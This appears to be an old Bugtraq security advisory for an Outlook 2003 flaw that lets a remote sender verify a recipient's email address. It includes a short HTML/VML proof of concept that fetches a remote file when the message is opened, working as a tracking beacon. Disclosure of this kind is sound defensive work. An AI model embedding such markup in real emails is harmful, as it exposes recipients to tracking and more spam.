BID:10323

Microsoft Outlook Mail Client E-mail Address Verification Weakness

Info

Microsoft Outlook Mail Client E-mail Address Verification Weakness

Bugtraq ID:	10323
Class:	Design Error
CVE:	CVE-2004-0501
Remote:	Yes
Local:	No
Published:	May 11 2004 12:00AM
Updated:	Jul 12 2009 04:07AM
Credit:	Discovery is credited to [email protected].
Vulnerable:	Microsoft Outlook 2003 0 + Microsoft Office 2003 SP3 + Microsoft Office 2003 SP3 + Microsoft Office 2003 SP2 + Microsoft Office 2003 SP2 + Microsoft Office 2003 SP1 + Microsoft Office 2003 SP1 + Microsoft Office 2003 0 + Microsoft Office 2003 0

Not Vulnerable:

Discussion

Microsoft Outlook Mail Client E-mail Address Verification Weakness

It has been reported that Microsoft Outlook mail client may be prone to a weakness that could allow a remote attacker to verify the validity of a recipient's e-mail address. This issue may result in a victim receiving more junk e-mail.

Microsoft Outlook 2003 is reported to be affected by this issue.

Exploit / POC

Microsoft Outlook Mail Client E-mail Address Verification Weakness

No exploit is required.

The following proof of concept has been provided:
<v:vml frame style="LEFT: 50px; WIDTH: 300px; POSITION:
relative; TOP: 30px; HEIGHT: 200px"
src = "http://www.example.com/duh.txt#malware"></v:vmlframe>

<HTML>
<HEAD>
<STYLE>
v\:* { behavior: url(#default#VML); }
</STYLE>
<XML:NAMESPACE NS="urn:schemas-microsoft-com:vml" PREFIX="v"/>
</HEAD>

Solution / Fix

Microsoft Outlook Mail Client E-mail Address Verification Weakness

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Unconfirmed reports suggest that this issue may have been silently patched by Microsoft. These fixes may have been included in Office updates from May 14th or May 17th, 2004. See the References section for details.

References

Microsoft Outlook Mail Client E-mail Address Verification Weakness

References: